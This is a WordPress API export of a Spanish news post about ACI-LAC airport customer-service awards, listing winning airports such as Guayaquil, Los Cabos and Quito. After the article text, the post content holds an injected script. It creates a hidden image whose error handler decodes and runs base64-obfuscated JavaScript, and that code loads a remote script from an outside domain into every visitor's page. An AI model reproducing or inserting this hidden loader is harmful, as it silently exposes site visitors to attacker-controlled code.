{"id":15496,"date":"2024-03-14T10:36:35","date_gmt":"2024-03-14T13:36:35","guid":{"rendered":"https:\/\/nubesmgzdigital.com.ar\/?p=15496"},"modified":"2025-08-13T15:58:42","modified_gmt":"2025-08-13T18:58:42","slug":"los-mejores-aeropuertos-en-experiencia-al-cliente-en-america-latina-y-el-caribe-segun-los-pasajeros","status":"publish","type":"post","link":"https:\/\/nubesmgzdigital.com.ar\/index.php\/2024\/03\/14\/los-mejores-aeropuertos-en-experiencia-al-cliente-en-america-latina-y-el-caribe-segun-los-pasajeros\/","title":{"rendered":"Los mejores aeropuertos en experiencia al cliente en Am\u00e9rica Latina y el Caribe, seg\u00fan los pasajeros"},"content":{"rendered":"\n<h4 class=\"wp-block-heading has-pale-cyan-blue-background-color has-background\"><em>El Consejo Internacional de Aeropuertos de Am\u00e9rica Latina y el Caribe (ACI-LAC) anunci\u00f3 los ganadores del Programa de Calidad en el Servicio Aeroportuario (ASQ), que reconoce la excelencia en la experiencia del cliente en los aeropuertos de la regi\u00f3n<\/em><\/h4>\n\n\n\n<p>El Programa ASQ, desarrollado por ACI World en colaboraci\u00f3n con la empresa l\u00edder en tecnolog\u00eda de viajes Amadeus, se erige como el principal programa de medici\u00f3n y evaluaci\u00f3n comparativa de la experiencia del cliente en aeropuertos a nivel mundial.\u00a0<\/p>\n\n\n\n<p>El Programa ASQ, conocido por su metodolog\u00eda rigurosa, es \u00fanico en el sector de la aviaci\u00f3n. La valoraci\u00f3n se obtiene directamente a trav\u00e9s de encuestas realizadas directamente a los viajeros, captando los niveles de satisfacci\u00f3n en m\u00e1s de 30 indicadores de rendimiento.<\/p>\n\n\n\n<p>Los aeropuertos reconocidos por ofrecer experiencias excepcionales a sus clientes se dividen en las siguientes categor\u00edas:<\/p>\n\n\n\n<p>Menos de 2 millones de pasajeros al a\u00f1o:<\/p>\n\n\n\n<p>Aeropuerto de Guanacaste (Liberia, Costa Rica)<\/p>\n\n\n\n<p>Aeropuerto Internacional de Hermosillo (Hermosillo, M\u00e9xico)<\/p>\n\n\n\n<p>De 2 a 5 millones de pasajeros al a\u00f1o:<\/p>\n\n\n\n<p>Aeropuerto Internacional de Guanajuato (Guanajuato, M\u00e9xico)<\/p>\n\n\n\n<p>Aeropuerto Internacional de Guayaquil (Guayaquil, Ecuador)<\/p>\n\n\n\n<p>De 5 a 15 millones de pasajeros al a\u00f1o:<\/p>\n\n\n\n<p>Aeropuerto Internacional de Los Cabos (Los Cabos, M\u00e9xico)<\/p>\n\n\n\n<p>Aeropuerto Internacional de Punta Cana (Punta Cana, Rep\u00fablica Dominicana)<\/p>\n\n\n\n<p>Aeropuerto Internacional de Quito (Quito, Ecuador)<\/p>\n\n\n\n<p>Estos aeropuertos han demostrado su compromiso de ofrecer servicios de primera categor\u00eda y una experiencia de viaje agradable, lo que les ha valido el reconocimiento de los propios pasajeros a los que prestan servicio.<\/p>\n\n\n\n<p>El&nbsp;Dr. Rafael Echevarne, Director General de ACI-LAC, comparti\u00f3 sus impresiones sobre el reconocimiento:<\/p>\n\n\n\n<p>&#8220;Estos premios destacan la dedicaci\u00f3n y la excelencia de los aeropuertos de Am\u00e9rica Latina y el Caribe a la hora de ofrecer una experiencia superior al cliente. El compromiso mostrado por estos aeropuertos es encomiable y establece un alto est\u00e1ndar para la industria.&#8221;<\/p>\n\n\n\n<p>El Aeropuerto Internacional L.F. Wade de Bermuda&nbsp;y el Aeropuerto Internacional de Guayaquil ganan el premio al aeropuerto m\u00e1s agradable de Am\u00e9rica Latina y el Caribe<\/p>\n\n\n\n<p>El Aeropuerto Internacional de Guayaquil ha sido uno de los m\u00e1s destacados, con un total de cinco premios en diversas categor\u00edas. Los galardones incluyen:<\/p>\n\n\n\n<p>Mejor Aeropuerto de 2 a 5 Millones de Pasajeros de Am\u00e9rica Latina y el Caribe<\/p>\n\n\n\n<p>Aeropuerto con el personal m\u00e1s dedicado de Am\u00e9rica Latina y el Caribe<\/p>\n\n\n\n<p>Aeropuerto con el viaje m\u00e1s f\u00e1cil de Am\u00e9rica Latina y el Caribe<\/p>\n\n\n\n<p>Aeropuerto m\u00e1s agradable de Am\u00e9rica Latina y el Caribe<\/p>\n\n\n\n<p>Aeropuerto m\u00e1s limpio de Am\u00e9rica Latina y el Caribe<\/p>\n\n\n\n<p>ACI-LAC felicita a todos los aeropuertos ganadores por su dedicaci\u00f3n a mejorar la experiencia de los pasajeros y establecer nuevos est\u00e1ndares de excelencia en el servicio al cliente en la regi\u00f3n de Am\u00e9rica Latina y el Caribe.<\/p>\n\n\n\n<p>Fuente: ACI-LAC<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/es.travel2latam.com\/news-88606-los-mejores-aeropuertos-en-experiencia-al-cliente-en-america-latina-y-el-caribe-segun-los-pasajeros\" target=\"_blank\" rel=\"noreferrer noopener\"><img decoding=\"async\" src=\"https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2024\/03\/Captura-de-pantalla_14-3-2024_103446_es.travel2latam.com_.jpeg\" alt=\"\" class=\"wp-image-15497\"\/><\/a><\/figure>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>El Consejo Internacional de Aeropuertos de Am\u00e9rica Latina y el Caribe (ACI-LAC) anunci\u00f3 los ganadores del Programa de Calidad en el Servicio Aeroportuario (ASQ), que reconoce la excelencia en la experiencia del cliente en los aeropuertos de la regi\u00f3n El Programa ASQ, desarrollado por ACI World en colaboraci\u00f3n con la empresa l\u00edder en tecnolog\u00eda de [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":15498,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[117],"tags":[],"class_list":["post-15496","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-aeropuertos"],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/posts\/15496","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/comments?post=15496"}],"version-history":[{"count":2,"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/posts\/15496\/revisions"}],"predecessor-version":[{"id":19195,"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/posts\/15496\/revisions\/19195"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/media\/15498"}],"wp:attachment":[{"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/media?parent=15496"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/categories?post=15496"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/tags?post=15496"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}